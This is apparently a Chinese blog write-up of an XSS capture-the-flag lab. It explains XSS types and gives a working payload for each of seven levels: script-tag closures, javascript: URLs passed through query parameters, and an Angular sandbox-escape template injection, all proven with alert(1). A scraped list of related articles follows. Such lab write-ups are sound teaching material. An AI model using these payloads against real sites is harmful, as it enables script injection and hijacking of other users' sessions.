定义:跨站脚本(Cross_Site Scripting,简称为XSS或跨站脚本或跨站脚本攻击)是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种。它允许恶意用户将代码注入网页,其他用户浏览网页时就会受到影响。恶意用户利用XSS代码攻击成功后,可能得到包括但不限于更高的权限、会话和cookie等内容。

分类:

反射型:反射性XSS又称为非持久性XSS,主要通过电子邮件等方式将包含XSS代码的恶意链接发送给目标用户,诱导用户点击。

存储型性:存储型XSS又称为持久型XSS,主要是论坛、博客和留言板等地方,将恶意代码保留到服务端。

DOM型:DOM全称Document Objeect Model,DOM型XSS其实是一种特殊的反射型XSS,它基于DOM文档对象模型的一种漏洞。

1、第一关不存在什么过滤,直接输入弹窗payload:<sCript>alert(1)</sCript>,结果如下:

2、输入弹窗payload:<sCript>alert(1)</sCript>,并没有弹窗,应该是被过滤了,查看下源代码信息,发现escape()函数:不会对数字、字母和* @ - _ + . / 进行编码,但其他所有的字符都会被转义序列替换,因此这里只能自己构造闭合,payload:';alert(1);',结果如下:

3、这一关对'进行了转义,因此无法直接在原来的<script>标签中进行闭合,但是我们可以写一个新的<script>标签,payload:</sCript><sCript>alert(1)</sCript>,后来发现payload:'';alert(1);'也可以,应该是只对输入的进行转义了第一个’,结果如下:

4、直接查看源代码信息,发现可以传递一个jumpUrl参数,然后跳转到jumpUrl参数,代码信息如下:

 <script type="text/javascript">
var time = 10;
var jumpUrl;
if(getQueryVariable('jumpUrl') == false){
jumpUrl = location.href;
}else{
jumpUrl = getQueryVariable('jumpUrl');
}
setTimeout(jump,1000,time);
function jump(time){
if(time == 0){
location.href = jumpUrl;
}else{
time = time - 1 ;
document.getElementById('ccc').innerHTML= `页面${time}秒后将会重定向到${escape(jumpUrl)}`;
setTimeout(jump,1000,time);
}
}
function getQueryVariable(variable)
{
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
}
</script>

getQueryVariable函数就是获取参数,返回传递的参数值,例如:jumpUrl=1,则返回的就是1,因此我么构造payload:?jumpUrl=javascript:alert('1'),然后等待刷新,成功到达下一关,结果如下:

5、直接查看源代码信息,如下:

<script type="text/javascript">
if(getQueryVariable('autosubmit') !== false){
var autoForm = document.getElementById('autoForm');
autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
autoForm.submit();
}else{ }
function getQueryVariable(variable)
{
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
}
</script>

根据代码信息可知我们需要传递autosubmit参数,使参数可以正常进行,传递action参数进行跳转,因此构造payload:?autosubmit=1&action=javascript:alert('1'),结果如下:

6、这一关和前面的不太一样,前面的基本都是形成闭合或简单的传递参数进行函数绕过,这里使用的是Angular 1.2-1.5之间版本(有说是1.4-1.5之间)沙箱逃漏洞,首先还是查看源代码信息,发现比前几关多了一个Angular信息,如下:

那就测试下看是不是xss模板注入漏洞,payload:{{2*2}},返回结果为4,证明存在xss模板注入漏洞,结果如下:

点击Angular连接查看是一堆代码,但是给出了版本号:

在网上查找下此版本的漏洞利用方式,payload:{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}},结果如下:

7、进入第7关直接获得flag值,结果如下:

[第二章 web进阶]XSS闯关-1的更多相关文章

  1. XSS闯关游戏准备阶段及XSS构造方法

    请下载好XSS闯关文件后,解压后放在服务器的对应文件夹即可 在该闯关中,会在网页提示一个payload数值 payload,翻译过来是有效载荷 通常在传输数据时,为了使数据传输更可靠,要把原始数据分批 ...

  2. XSS闯关挑战(1-15)

    第一关 关键代码: 这一关两处的输出都没做任何防护,直接将用户的输入拼接到输出里面. payload: 第二关 使用上一关的payload显示如下 闭合一下标签就好了. 第三关 htmlspecial ...

  3. J2EE学习笔记-第二章(Web应用初步)

    首先要理解一些概念的词语,到底这些是什么(当我读懂了后,会逐一填补完整,现在我真的有点混淆) web组件-相当于功能性的组件,就像是零件,汽车的轮胎,汽车的门,所有组件组合后,才能成为一辆车,有时候也 ...

  4. Head First Servlets & JSP 学习笔记 第二章 —— Web应用体系结构

    Servlet没有main()方法,所以Servlet受其他人控制,这个其他人就是容器!而Tomcat就是一种容器. 容器向Servlet提供Http请求和Http响应:容器来调用Servlet的do ...

  5. XSS Challenges闯关笔记

    前言 做xss做疯了再来一个. 地址:https://xss-quiz.int21h.jp/ ,这个貌似是日本的一个安全研究员yamagata21做的. 做到第九关就跪了,而总共有二十关.一半都还没有 ...

  6. 某xss挑战赛闯关笔记

    0x0 前言 在sec-news发现先知上师傅monika发了一个xss挑战赛的闯关wp([巨人肩膀上的矮子]XSS挑战之旅---游戏通关攻略(更新至18关)https://xianzhi.aliyu ...

  7. 精通Web Analytics 2.0 (4) 第二章:选择你的网络分析灵魂伴侣的最佳策略

    精通Web Analytics 2.0 : 用户中心科学与在线统计艺术 第二章:选择你的网络分析灵魂伴侣的最佳策略 在Web Analytics 2.0的新世界秩序中,您必须跳出"单一真理来 ...

  8. 架构探险——第二章(为web应用添加业务功能)

    第二章不使用框架完成了自己的Web应用. 重点: 服务层的完善优化过程,思路 在看这一段的时候引起了无数次的共鸣.相信大家在开始接触Java Web的时候,都做过类似的封装和优化. 第一版 在Serv ...

  9. javascript进阶课程--第二章--对象

    javascript进阶课程--第二章--对象 学习要点 理解面向对象的概念 掌握对象的创建方法 掌握继承的概念和实现方法 基本概念 对象究竟是什么?什么叫面向对象编程? 对象是从我们现实生活中抽象出 ...

随机推荐

  1. vue 的常用事件

    vue 的常用事件 事件处理 1.使用 v-on:xxx 或 @xxx 绑定事件,其中 xxx 是事件名: 2.事件的回调需要配置在 methods 对象中,最终会在 vm 上: 3.methods ...

  2. ShardingSphere-proxy-5.0.0建立mysql读写分离的连接(六)

    一.修改配置文件config-sharding.yaml,并重启服务 # # Licensed to the Apache Software Foundation (ASF) under one or ...

  3. Python|range函数用法完全解读

    写在前面的一些过场话: 迭代器是 23 种设计模式中最常用的一种(之一),在 Python 中随处可见它的身影,我们经常用到它,但是却不一定意识到它的存在.在关于迭代器的系列文章中(链接见文末),我至 ...

  4. Java 向数组中添加元素

    一般数组是不能添加元素的,因为他们在初始化时就已定好长度了,不能改变长度. 向数组中添加元素思路 第一步:把数组转化为集合 list = Arrays.asList(array); 第二步:向集合中添 ...

  5. Java开发问题:Column 'AAA' in where clause is ambiguous解决办法

    当在java开发中遇到了Column 'AAA' in where clause is ambiguous问题时, 你需要去看看:多表查询的时候不同的表是否出现了相同名称相同的列, 如果存在,你需要在 ...

  6. 蒸腾量与蒸散量(ET)数据、潜在蒸散量、实际蒸散量数据、气温数据、降雨量数据

    ​   数据下载链接:数据下载链接 引言 多种卫星遥感数据反演地表蒸腾与蒸散率(ET)产品是地理遥感生态网推出的生态环境类数据产品之一,产品包括2000-2009年三个波段RGB数据,值域0-252之 ...

  7. CentOS6安装使用ntp同步时间

    [root@server yum.repos.d]# yum install ntp已加载插件:fastestmirror, priorities, refresh-packagekit, secur ...

  8. 函数式(Functional)接口

    public class LambdaTest2 { @Test public void test1(){ happyTime(500, new Consumer<Double>() { ...

  9. ConcurrentHashMap树化链表treeifyBin

    private final void treeifyBin(Node<K,V>[] tab, int index) { Node<K,V> b; int n, sc; if ( ...

  10. MD5,Des,RSA加密解密

    一.加密和解密 下面先熟悉几个概念 1>对称加密:加密的key和解密的key是同一个 但是如何确保密钥安全地进行传递?秘钥的安全是一个问题 2>非对称加密:加密点的key和解密的key不是 ...